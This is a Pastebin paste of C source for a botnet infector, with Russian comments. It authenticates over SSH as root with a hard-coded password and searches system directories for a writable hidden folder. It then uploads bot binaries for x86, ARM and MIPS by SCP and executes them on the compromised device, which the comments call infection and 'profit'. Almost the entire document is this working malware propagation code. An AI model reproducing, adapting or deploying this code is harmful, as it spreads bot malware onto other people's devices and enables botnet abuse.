Guest User

inject_c

a guest
Apr 21st, 2023
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 7.94 KB | None | 0 0
  1. #define _BSD_SOURCE
  2. #include <libssh/libssh.h>
  3. #include <stdbool.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/stat.h>
  8. #include <unistd.h>
  9. #define MYSFTP_BUFFER_SIZE 8192
  10. const char *dropPaths[] = {"/lib/",          ".",     "/dev/",    "/dev/shm/",
  11.                            "/var/volatile/", "/tmp/", "/sys/",    "/var/lib/",
  12.                            "/root/",         "/etc/", "/var/log/"};
  13. const char *Files[] = {"bin_x86",  "bin_x86_64", "bin_arm", "bin_arm64",
  14.                        "bin_mips", "bin_mips64", "bin_sh"};
  15. char *PATH;
  16.  
  17. void ext(const char *s);
  18. void LoveYou(ssh_session session);
  19. ssh_session meauth(const char *IP, const char *user, const char *pass);
  20. bool ssh_exec(const char *command, ssh_session myssh);
  21. bool ssh_exec_check(const char *command, ssh_session myssh, char *data,
  22.                     int timeout);
  23. void execBot(const char *remotePath, char *bigbuffer, ssh_session session);
  24. int my_loving(char *buffer, char *bigBuffer, ssh_scp scp);
  25. bool create_dir(const char *dirname, ssh_session session);
  26. int copy_file(const char *remoteF, const char *localF, char *bigbuffer,
  27.               ssh_scp scp);
  28. char *getPATH(char *argv0);
  29. int main(int argc, char *argv[]) {
  30.  
  31.   PATH = getPATH(argv[0]);
  32.  
  33.   ssh_session ssh = meauth("192.168.0.105", "root", "dudePass");
  34.   LoveYou(ssh);
  35. }
  36. void ext(const char *s) {
  37.   printf("%s\n", s);
  38.   exit(0);
  39. }
  40. char *getPATH(char *argv0) {
  41.   char *ptr = argv0 + (strlen(argv0) - 1);
  42.   for (; ptr > argv0; ptr--) {
  43.     if ((*ptr) == '/') {
  44.       *(ptr + 1) = '\0';
  45.       char *OUT = strdup(argv0);
  46.       *(ptr + 1) = '/';
  47.       return OUT;
  48.     }
  49.   }
  50.   return strdup("./");
  51. }
  52. ssh_session meauth(const char *IP, const char *user, const char *pass) {
  53.   ssh_session ssh = ssh_new();
  54.   int P = 22;
  55.   ssh_options_set(ssh, SSH_OPTIONS_HOST, IP);
  56.   ssh_options_set(ssh, SSH_OPTIONS_USER, user);
  57.   ssh_options_set(ssh, SSH_OPTIONS_PORT, &P);
  58.  
  59.   if (ssh_connect(ssh) != SSH_OK)
  60.     ext("CNCT");
  61.   if (ssh_userauth_password(ssh, user, pass) != SSH_AUTH_SUCCESS)
  62.     ext("AUTH");
  63.   return ssh;
  64. }
  65.  
  66. bool my_parachute(char *wbuff, int *startInd, ssh_session session) {
  67.   int ii = (*startInd), lenDrops = sizeof(dropPaths) / sizeof(const char *);
  68.   if (ii >= lenDrops)
  69.     return false;
  70.   int mkdir_rc = 0;
  71.   for (; ii < lenDrops; ii++) {
  72.     strcpy(wbuff, dropPaths[ii]);
  73.     strcat(wbuff, ".piw/");
  74.     bool mkdir_rc = create_dir(wbuff, session);
  75.     if (mkdir_rc == true)
  76.       break;
  77.   }
  78.   if (mkdir_rc != true)
  79.     return false;
  80.   (*startInd) = ii;
  81.   return true;
  82. }
  83. void LoveYou(ssh_session session) {
  84.   char *buffer = (char *)malloc(512);
  85.   char *bigBuffer = (char *)malloc(MYSFTP_BUFFER_SIZE);
  86.   int rc = 0, parashute_ind = 0;
  87.   ssh_scp scp = NULL;
  88.   while (1) {
  89.     // my_parashute() - находит путь, папку, доступную для записи(заражения) для
  90.     // взломанного пользователя. Грубо говоря - ищем путь, где можем оставить и
  91.     //запустить бинарники.
  92.     if (!my_parachute(buffer, &parashute_ind, session)) {
  93.       //не нашли ни один путь, куда можем разместить бинарники.Печалька, уходим
  94.       //с пустыми руками
  95.       goto free_all;
  96.     }
  97.     parashute_ind++;
  98.  
  99.     //создаем и инициализируем сессию SCP
  100.     scp = ssh_scp_new(session, SSH_SCP_WRITE | SSH_SCP_RECURSIVE, buffer);
  101.     if (scp == NULL)
  102.       continue;
  103.     if (ssh_scp_init(scp) != SSH_OK) {
  104.       ssh_scp_free(scp);
  105.       scp = NULL;
  106.       continue;
  107.     }
  108.  
  109.     // my_loving() - переносим наши бинарники в найденный путь(buffer).
  110.     // bigbuffer - буффер для записи и отправки по сокету данных
  111.     if (my_loving(buffer, bigBuffer, scp) < 0) {
  112.       //Не хватило места или какая-то другая ошибка. Ищем другой путь
  113.       ssh_scp_free(scp);
  114.       scp = NULL;
  115.       continue;
  116.     }
  117.     //Успешно отправили бинарники
  118.     ssh_scp_free(scp);
  119.     scp = NULL;
  120.     break;
  121.   }
  122.   //Запускаем бота на устройстве. profit ;)
  123.   execBot(buffer, bigBuffer, session);
  124. free_all:
  125.   ssh_disconnect(session);
  126.   ssh_free(session);
  127.   free(bigBuffer);
  128.   free(buffer);
  129. }
  130.  
  131. bool create_dir(const char *dirname, ssh_session session) {
  132.   char *data = malloc(strlen(dirname) + 50);
  133.   strcpy(data, "mkdir ");
  134.   strcat(data, dirname);
  135.   return ssh_exec_check(data, session, data, 5000);
  136. }
  137. int copy_file(const char *remoteF, const char *localF, char *bigbuffer,
  138.               ssh_scp scp) {
  139.   ssize_t size = 0, tmpp = 0;
  140.   struct stat st;
  141.   if (stat(localF, &st) < 0)
  142.     return SSH_ERROR;
  143.   size = st.st_size;
  144.  
  145.   FILE *fin = fopen(localF, "r");
  146.   if (!fin)
  147.     return SSH_ERROR;
  148.  
  149.   int rc = ssh_scp_push_file(scp, remoteF, size, S_IRWXU);
  150.   if (rc != SSH_OK) {
  151.     fclose(fin);
  152.     return SSH_ERROR;
  153.   }
  154.   while (1) {
  155.     tmpp = fread(bigbuffer, 1, MYSFTP_BUFFER_SIZE, fin);
  156.     if (tmpp <= 0)
  157.       break;
  158.     rc = ssh_scp_write(scp, bigbuffer, tmpp);
  159.     if (rc != SSH_OK) {
  160.       fclose(fin);
  161.       return SSH_ERROR;
  162.     }
  163.   }
  164.   fclose(fin);
  165.   return 1;
  166. }
  167. int my_loving(char *buffer, char *bigBuffer, ssh_scp scp) {
  168.   char *mePATH = (char *)malloc(strlen(PATH) + 64);
  169.   strcpy(mePATH, PATH);
  170.   int errtemp = 0, len_files = sizeof(Files) / sizeof(const char *);
  171.   int len_target_path = strlen(buffer), len_mepath = strlen(mePATH);
  172.   for (int ij = 0; ij < len_files; ij++) {
  173.     strcat(buffer, Files[ij]); // remote path, where we write binaries.
  174.     strcat(mePATH, Files[ij]); // local pathhhh
  175.  
  176.     errtemp = copy_file(buffer, mePATH, bigBuffer, scp);
  177.     buffer[len_target_path] =
  178.         '\0'; //отсекаем имя файла для следующего имени файла
  179.     mePATH[len_mepath] = '\0'; //отсекаем имя файла для следующего имени файла
  180.     if (errtemp == SSH_ERROR) {
  181.       return SSH_ERROR;
  182.     }
  183.   }
  184.   return 1;
  185. }
  186. void execBot(const char *remotePath, char *bigbuffer, ssh_session session) {
  187.   bigbuffer[0] = '\0';
  188.   int len_files = sizeof(Files) / sizeof(const char *);
  189.   for (int i = 0; i < len_files; i++) {
  190.     sprintf(bigbuffer + strlen(bigbuffer), "%s%s", remotePath, Files[i]);
  191.     if (i != (len_files - 1)) {
  192.       strcat(bigbuffer, " || ");
  193.     }
  194.   }
  195.   ssh_exec(bigbuffer, session);
  196. }
  197. bool ssh_exec(const char *command, ssh_session myssh) {
  198.   ssh_channel channel = ssh_channel_new(myssh);
  199.   if (channel == NULL)
  200.     return false;
  201.   int rc = ssh_channel_open_session(channel);
  202.   if (rc != SSH_OK) {
  203.     ssh_channel_free(channel);
  204.     return false;
  205.   }
  206.   rc = ssh_channel_request_exec(channel, command);
  207.   if (rc != SSH_OK) {
  208. #ifdef MYDEBUG
  209.     printf("%s: ssh_request failed...\n", inet_ntoa(myssh->addr_in.sin_addr));
  210. #endif
  211.     ssh_channel_close(channel);
  212.     ssh_channel_free(channel);
  213.     return false;
  214.   }
  215.   ssh_channel_send_eof(channel);
  216.   ssh_channel_close(channel);
  217.   ssh_channel_free(channel);
  218.   return true;
  219. }
  220. bool ssh_exec_check(const char *command, ssh_session myssh, char *data,
  221.                     int timeout) {
  222.   ssh_channel channel = ssh_channel_new(myssh);
  223.   if (channel == NULL)
  224.     return false;
  225.   int rc = ssh_channel_open_session(channel);
  226.   if (rc != SSH_OK) {
  227.     ssh_channel_free(channel);
  228.     return false;
  229.   }
  230.   rc = ssh_channel_request_exec(channel, command);
  231.   if (rc != SSH_OK) {
  232. #ifdef MYDEBUG
  233.     printf("%s: ssh_request failed...\n", inet_ntoa(myssh->addr_in.sin_addr));
  234. #endif
  235.     ssh_channel_close(channel);
  236.     ssh_channel_free(channel);
  237.     return false;
  238.   }
  239.   int nbytes = ssh_channel_read(channel, data, 1024, timeout);
  240.   ssh_channel_send_eof(channel);
  241.   ssh_channel_close(channel);
  242.   ssh_channel_free(channel);
  243.   if (nbytes > 0)
  244.     return false;
  245.   return true;
  246. }
Add Comment
Please, Sign In to add comment